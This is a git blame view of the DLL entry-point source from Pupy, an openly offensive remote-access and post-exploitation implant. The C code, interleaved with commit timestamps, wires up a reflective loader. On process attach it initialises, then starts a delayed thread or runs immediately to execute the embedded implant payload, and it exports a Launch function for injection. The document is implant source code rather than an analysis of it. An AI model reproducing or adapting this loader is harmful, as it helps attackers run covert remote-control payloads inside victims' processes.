2015-09-21 19:53:37 +00:00
|
|
|
/*
|
2015-10-23 17:16:11 +00:00
|
|
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
|
|
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
|
|
|
*/
|
|
|
|
|
2015-09-21 19:53:37 +00:00
|
|
|
#include <windows.h>
|
|
|
|
#include "pupy_load.h"
|
2019-04-25 17:55:16 +00:00
|
|
|
#include "debug.h"
|
2019-09-07 15:51:30 +00:00
|
|
|
#include "ReflectiveLoader.h"
|
|
|
|
|
|
|
|
#include "Python-dynload.h"
|
|
|
|
#include "jni_on_load.c"
|
2015-09-21 19:53:37 +00:00
|
|
|
|
2022-11-04 10:09:28 +00:00
|
|
|
HINSTANCE hAppInstance;
|
2019-04-25 17:55:16 +00:00
|
|
|
|
|
|
|
#define REFLECTIVE_SPECIAL 5
|
|
|
|
|
|
|
|
HANDLE hThread = NULL;
|
|
|
|
|
2015-09-21 19:53:37 +00:00
|
|
|
//===============================================================================================//
|
2019-04-25 17:55:16 +00:00
|
|
|
|
|
|
|
DWORD WINAPI delayedMainThread(LPVOID lpArg)
|
|
|
|
{
|
2019-05-01 07:56:50 +00:00
|
|
|
Sleep(1000);
|
2019-09-07 15:51:30 +00:00
|
|
|
return execute(lpArg);
|
2019-04-25 17:55:16 +00:00
|
|
|
}
|
|
|
|
|
2019-05-07 20:20:43 +00:00
|
|
|
__declspec(dllexport)
|
|
|
|
VOID WINAPI Launch()
|
|
|
|
{
|
2019-09-07 15:51:30 +00:00
|
|
|
execute(NULL);
|
2019-05-07 20:20:43 +00:00
|
|
|
}
|
|
|
|
|
2015-09-21 19:53:37 +00:00
|
|
|
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
|
|
|
{
|
2019-04-25 17:55:16 +00:00
|
|
|
DWORD threadId;
|
2015-09-21 19:53:37 +00:00
|
|
|
BOOL bReturnValue = TRUE;
|
2019-04-25 17:55:16 +00:00
|
|
|
|
|
|
|
dprint("Call DllMain %d/%p\n", dwReason, lpReserved);
|
|
|
|
|
|
|
|
switch( dwReason )
|
2017-06-04 18:08:48 +00:00
|
|
|
{
|
2019-04-25 17:55:16 +00:00
|
|
|
case DLL_QUERY_HMODULE:
|
|
|
|
if( lpReserved != NULL )
|
|
|
|
*(HMODULE *)lpReserved = hAppInstance;
|
|
|
|
break;
|
|
|
|
|
|
|
|
case DLL_THREAD_ATTACH:
|
|
|
|
break;
|
|
|
|
|
|
|
|
case DLL_PROCESS_ATTACH:
|
|
|
|
hAppInstance = hinstDLL;
|
|
|
|
|
2019-11-21 12:05:18 +00:00
|
|
|
initialize(TRUE);
|
2019-09-07 15:51:30 +00:00
|
|
|
|
|
|
|
if (lpReserved == (LPVOID) 0x1) {
|
2019-04-25 17:55:16 +00:00
|
|
|
dprint("Special: Request for non-delayed thread\n");
|
2019-09-07 15:51:30 +00:00
|
|
|
execute(NULL);
|
2019-04-25 17:55:16 +00:00
|
|
|
return TRUE;
|
|
|
|
}
|
|
|
|
|
2019-09-07 15:51:30 +00:00
|
|
|
if (!hThread && lpReserved != (LPVOID) 0x2) {
|
2019-04-25 17:55:16 +00:00
|
|
|
dprint("Creating delayed thread from DllMain\n");
|
|
|
|
|
|
|
|
hThread = CreateThread(
|
|
|
|
NULL,
|
|
|
|
0, // dwStackSize
|
|
|
|
(LPTHREAD_START_ROUTINE) delayedMainThread, // lpStartAddress
|
|
|
|
NULL, // lpParameter
|
|
|
|
0, // dwCreationFlags (0==run right after creation)
|
|
|
|
&threadId
|
|
|
|
);
|
|
|
|
}
|
|
|
|
break;
|
|
|
|
|
|
|
|
case DLL_THREAD_DETACH:
|
2015-09-21 19:53:37 +00:00
|
|
|
break;
|
2019-04-25 17:55:16 +00:00
|
|
|
|
|
|
|
case DLL_PROCESS_DETACH:
|
|
|
|
dprint("Call deinitializer: %d\n", dwReason);
|
|
|
|
if (hThread) {
|
|
|
|
dprint("Wait until %p exited, reason: %d\n", hThread, dwReason);
|
|
|
|
WaitForMultipleObjects(1, &hThread, TRUE, INFINITE);
|
|
|
|
dprint("%p exited, completed\n", hThread);
|
|
|
|
}
|
|
|
|
|
2019-09-07 15:51:30 +00:00
|
|
|
deinitialize();
|
2019-04-25 17:55:16 +00:00
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
dprint("Call DllMain - completed\n");
|
|
|
|
return bReturnValue;
|
|
|
|
}
|